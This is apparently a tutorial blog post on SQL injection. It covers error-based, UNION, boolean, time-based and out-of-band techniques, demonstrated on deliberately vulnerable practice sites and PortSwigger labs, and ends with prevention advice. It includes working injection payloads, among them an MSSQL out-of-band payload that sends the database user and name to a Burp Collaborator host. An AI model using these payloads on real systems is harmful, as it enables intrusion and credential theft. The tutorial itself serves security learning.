Basics of: SQL Injection
- Database Basics
- In-band SQLi
2.1 Error-based SQLi
2.2 Union-based SQLi - Blind SQLi
3.1 Boolean-based SQLi
3.2 Time-based SQLi - Out-of-band SQLi
- Preventing SQL Injection
- Some Portswigger Labs
1. Database Basics
First, let’s have a look at what is a database and how it is managed.
Data: Collection of small unit of information.
Database: Db is an organized collection of data or information. A db is usually controlled by Database Management Systems. Db consists of tables, rows and columns etc. Database is used for storing and managing data.
DBMS: Software that manages the databases. It is used to store, retrieve and run queries on database. It serves as an interface between user and database. Most common DBMSs are Oracle DB, MySQL, MSSQL, PostgreSQL etc.
SQL: Programming Language that is used to accessing, modifying, manipulating and retrieving data that is stored in database. SQL can execute queries, retrieve data, insert, update, delete records and create new databases, tables etc.
Let’s create a new database using MySQL:
I have used MySQL on my Ubuntu machine. I have just created a new database called Test and it has a table that is called Users. This Users table consists of three columns; ID, Username and Password.
“(1, admin, password123)” is a first row in Users table.
If we want to select only the password of Omer, we could use below query using WHERE clause.
information_schema: provides access to database metadata, information about name of the database, table, data type of column etc.
We can get names of databases by using this query:
There is a database called ‘Test’ that we have just created. Let’s take look inside of ‘Test’ database using information schema.
Let’s look at some basic SQL queries on MySQL:
(From MDISEC — Web Security 101 0x01 video on YouTube)
SELECT 2–1; → 1
SELECT 2+1; → 3
SELECT ‘2–1’; → 2–1
SELECT ‘2’-’1'; → 1, Database can cast string to integer.
SELECT ‘2’+’1'; → 3
SELECT ‘2’+’a’; → 2, db can cast ‘2’ string to int but cannot cast ‘a’ to int so it takes ‘a’ as 0.
SELECT ‘b’+’a’; → 0
SELECT ‘2’ ‘1’; → 21, string concatination.
SELECT ‘2’ ‘1’ ‘a’-1; → 20, it first do substraction then concates.
SELECT 2¹; → 3, XOR operand.
SELECT ~1; → 184467… max integer
performance_schema: provides a way to inspect internal execution of the server at runtime
SQL Injection: A vulnerability that allows attacker to execute SQL queries in the database using web applications. SQLi exploit can read data from db, modify or drop the database etc.
We, firstly, must detect the SQLi by testing against every input in the application.
- We could put a single quote (‘) at the end of the input and if we get an error or some kind of anomalies, there could be a potential sqli vulnerability.
- We can provide two different input to application and compare the responses.
- We can submit boolean conditions like OR 1=1 and OR 1=2, compare the responses.
- Submit payloads that create time delays.
2. In-Band SQLi
The attacker uses the same channel of communication to launch their attacks and to gather their results. Band means, simply, the capacity of communication channel. In-band SQLi’s simplicity and efficiency make it one of the most common types of SQLi attack. There are two sub-variations of this method:
In-Band means that we use same channel of communication to execute our injection and retrieve the results. In-Band SQLi is the most common type of SQLi attack. There are two attacks for In-Band SQLi; UNION-Based SQLi and Error-Based SQLi.
2.1 UNION-Based SQLi
Firstly, let’s have a look at this vulnerable website by Acunetix:
There is a products page . Let’s try to find SQL Injections.
If we change query parameter cat=1 to cat=2, we actually go to second category page and we know that database can do the subtraction of 2–1, which is 1, if we write cat=2–1, we’ll go to the first category’s page.
We can deduct that this page is vulnerable to SQLi but let’s try another method to find if it is vulnerable. We’ll add single quote(‘) to get some errors.
We did get an error. This is a crucial information, we might not get any error. (%27 is URL encoded version of single quote)
Now, how can we retrieve information about the database?
We’ll use UNION to combine results of two SELECT statements in one response. UNION is used to retrieve data from other tables so that this attack named as UNION attack.
! Number of columns and data types in two SELECT statements must be the same.
We have to find the column number in order to execute UNION attack.
Let’s have a look at two tricks to get a number of columns.
- We know that SELECT 1 statement returns 1 column, SELECT 1,2 returns 2 columns. So we’ll write it until we find same number of columns.
We’ll do the same query to web application that we’ve found that is vulnerable to SQL injection.
SELECT 1,2,3… is okay but it might not work every time so using SELECT NULL,NULL,NULL… would be better idea.
We can see that categories has 11 columns and columns 7, 2 and 9 are displayed on the page which is good news for us.
2. We can determine the number of columns using ORDER BY clause.
‘ ORDER BY 1 → We’ll increment the number until we get no errors
These 2 statements help us to find column numbers.
So, we know the column numbers. What do we do now?
Extracting information
This simple functions, version() and database(), help use to enumerate database. Here we can see that the name of the database is ‘acuart’ and the version is ‘8.0.22–0 ubuntu0.20.04.2’.
We know that information_schema holds valuable metadata about database such as tables, columns etc.
We can get the database name (acuart) using above SQL query.
Now, let’s find table names.
We got the pictures, guestbook, products, users and many more tables. And we are interested in the ‘users’ table, of course.
There are uname, pass, address and more columns on ‘users’ table and we are interested in uname and pass columns.
We found that user John M Smith’s username is test and its password is test.
Do not forget that syntax could change in every dbms.
2.2 Error-Based SQLi
If we get an error displayed on the page, we can potentially use that error to retrieve data.
One example is that we can use extractvalue() function to retrieve information about database.
MySQL version 5.1 or later, we can use this function to retrieve data from database. ExtractValue() function generates a XPATH syntax error if it cannot parse the XML data that is passed to extractvalue() function.
ExtractValue(xml_frag, xpath_expr)
ExtractValue() takes two string arguments, a fragment of XML markup xml_frag and an XPath expression xpath_expr (also known as a locator); it returns the text (CDATA) of the first text node which is a child of the element or elements matched by the XPath expression. (from Official MySQL Documentation)
Or we can use it to extract version information.
And we can get the same information as we had from using UNION attack.
Limit 0,1 is used to get first row in the table. Limit 1,1 used to get second table.
We have ‘users’ table, next we could find columns and then extract values from it but for now, i think we got the idea.
I got that payload from Bug Bounty Playbook v2 by Ghostlulz.
3. Blind SQLi
When we detect that web application is vulnerable to SQLi but we cannot retrieve the data or details about errors, we called that Blind SQLi. Techniques that we used earlier are not effective on this type of SQLi, we have to use different methods. We can categorized Blind SQLi into two subsections; Boolean-based SQLi and Time-based SQLi.
3.1 Boolean-based SQLi
This vulnerability can be exploited by making logical queries that rely on true/false conditions. Let’s see it on an example on bWapp. One can simple get it run by using docker.
Only output we get is that either movie exists in the database or not.
We could use this payload as well: Man of Steel’ AND (SELECT 1) = 1 —
We are now using subselect statements.
Now, we can use SUBSTRING() function to retrieve chars from a string.
SUBSTRING(string, start, length)
We can get the database name by simply using this payload:
Man of Steel’ AND SUBSTRING(database(),1,1)=’a’ —
By changing the =’a’ every time we get “does not exist”, we can find the first character of database name.
There is no need to go further, we can deduct that database’s name is bWAPP.
We can find table names with below payload:
Man of Steel’ AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=’bWAPP’ LIMIT 1,1),3,1)=’a’ —
3.2 Time-based SQLi:
This vulnerability can be exploited by making the database wait for a specified amount of time before response. HTTP response will be returned in a delay.
We can use IF() function to help us.
IF(condition, value_if_true, value_if_false)
It returns immidiately if the if statements is false.
This SQL query will make the database wait for some time. ‘ OR IF(1=1, SLEEP(1), 0) —
Let’s change the lab environment to PortSwigger.
Lab says the app uses tacking cookie for analytics and performs SQL queries so we’ll use that cookie to execute our SQL queries. To solve the lab, we will cause 10 second delay.
Let’s use payloads from PortSwigger to cause a 10 second delay.
Oracle — dbms_pipe.receive_message((‘a’),10)
Microsoft — WAITFOR DELAY ‘0:0:10’
PostgreSQL — SELECT pg_sleep(10)
MySQL — SELECT SLEEP(10)
It is something like → … WHERE TrackingId = ‘HV5ecmQvbB6F5e8p’
And when we inject our sql payload, it becomes like this →
WHERE TrackingId = ‘HV5ecmQvbB6F5e8p’ || (SELECT pg_sleep(10) — )’
Note: Pipe (||) is used for concationation in Postgre SQL and Oracle and Plus sign (+) for Microsoft SQL and MySQL.
As we can see that the payload (’ || (SELECT pg_sleep(10))) works.
4. Out-of-Band SQLi
Let’s first look at what out-of-band means. First of all, band means that communication channel used for interaction with the database so out-of-band means, we interact with the database from another communication channel.
Out-of-band attack is a method that allows attackers to exfiltrate data through different channel. For example, we can create a SQLipayload such that it triggers DNS requests, HTTP requests etc.
Above image nicely summarizes it all. Firstly, we detect that web application is vulnerable to SQL injection and we inject our malicious SQL query. Then, database communicated with the public network (DNS, HTTP, SMTP, FTP etc.). while creating a listening server (It can be achieved using Burp Collaborator) to capture the data.
Payload for Microsoft SQL: DECLARE @a varchar(1024); DECLARE @b varchar(1024); SELECT @a = (SELECT system_user); SELECT @b = (SELECT DB_Name()); EXEC(‘master..xp_dirtree”\\’+@a+’’+’.’+’’+@b+’.tgd3s99qqjjiq6ach0w0fxyid9jz7o.burpcollaborator.net\egg$”’);
Above payload helps us to capture current user’s username and name of the database.
As we can see from above image, we have captured the username and the name of the database.
Source: https://www.academia.edu/41117452/A_Study_of_Out-of-Band_Structured_Query_Language_Injection by Chun How Lee
5. Preventing SQL Injection
We have looked at the basics of how to exploit an application that is vulnerable to SQL injection. It is time to focus on how to prevent this type of attack.
- One option could be using prepared statements. Instaed of directly using the input from the user into the SQL query, we can use a placeholder. Placeholder holds input so input doesn’t get into the actual SQL code.
One example of using prepared statements looks like this:
$username = $_POST[‘username’];
$sql = “SELECT * FROM users WHERE username = ‘“ . $username . “‘“;
$result = $connection->query($sql);Above PHP code is vulnerable to SQLi.
To mitigate the SQLi here we can use prepared statements like this:
$username = $_POST[‘username’];
$sql = “SELECT * FROM users WHERE username = ?”;
$stmt = $connection->prepare($sql);
$stmt->bind_param(“s”, $username);
$stmt->execute();The placeholder for above is “?”. It allows database to separete SQL code from data. Bind_param function is used to bind the input to the placeholder. and the “s” is a parameter that specifies the data type, for this example, it is a string. Execute() function is used to execute the SQL query.
2. Another option to prevent SQL injections is to validate user inputs. Input validation checks the user input data to meet certain criterias. This includes checking the data type, format, length, and range and the user input data does not contain any malicious or harmful content.
def validate_password(password):
if not password:
return “Password is required.”
elif not isinstance(password, str):
return “Invalid password data type. Expected a string.”
elif len(password) < 8:
return “Password must be at least 8 characters long.”
elif not re.search(r’^(?=.*[A-Z])(?=.*[a-z])(?=.*\d).{8,}$’, password):
return “Password must contain at least one uppercase letter, one lowercase letter, and one digit.”The above Python code checks the validation of the password for its data type, format, and length.
PortSwigger Labs
SQL injection attack, listing the database contents on non-Oracle databases
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.
The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password. of all users.
To solve the lab, log in as the administrator user.
First, identify that the web application is vulnerable to SQLi.
When we just put apostrophe (’), server gives us an internal server error and secondly, executing ‘ OR ASCII(’A’)=65 — payload gives us all the blogs on the database since A is equal to the 65 in ASCII table.
Next, we need to find the number of columns. We can use UNION to retrieve the number of columns.
We can see that there are only two columns. First column is for the blog’s title and second column is for the writing. Let’s retrieve the name of the current database and the version of that database.
@@version does not work so the database is Postgre SQL.
Let’s retrieve the tables.
There is a table named user_kmbwee. This should hold some valuable information such as suernames passwords.
We have found that there are columns called password_ohetlb and username_mjlnlw
There is the password of administrator account.
SQL injection UNION attack, retrieving multiple values in a single column
The database contains a different table called users, with columns called username and password.
To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.
We know that the web application is vulnerable to SQLi so let’s skip this part. One thing we should consider is that when we put # at the end of the query, error occurs so it is either PostgreSQL, MSSQL or Oracle.
To find out the number of columns, we can do the same thing as we did in our previous lab.
It has 2 columns and we can see that only the second columns shows up on our screen.
So, if we want to retrieve multiple values, we have to concatenate them. And, the database is PostgreSQL, you can write version() intead of ‘2’ so we can use concatination that works for PostgreSQL. We can use CONCAT() function to concatinate username and passwords.
We have found the usernames and their passwords.
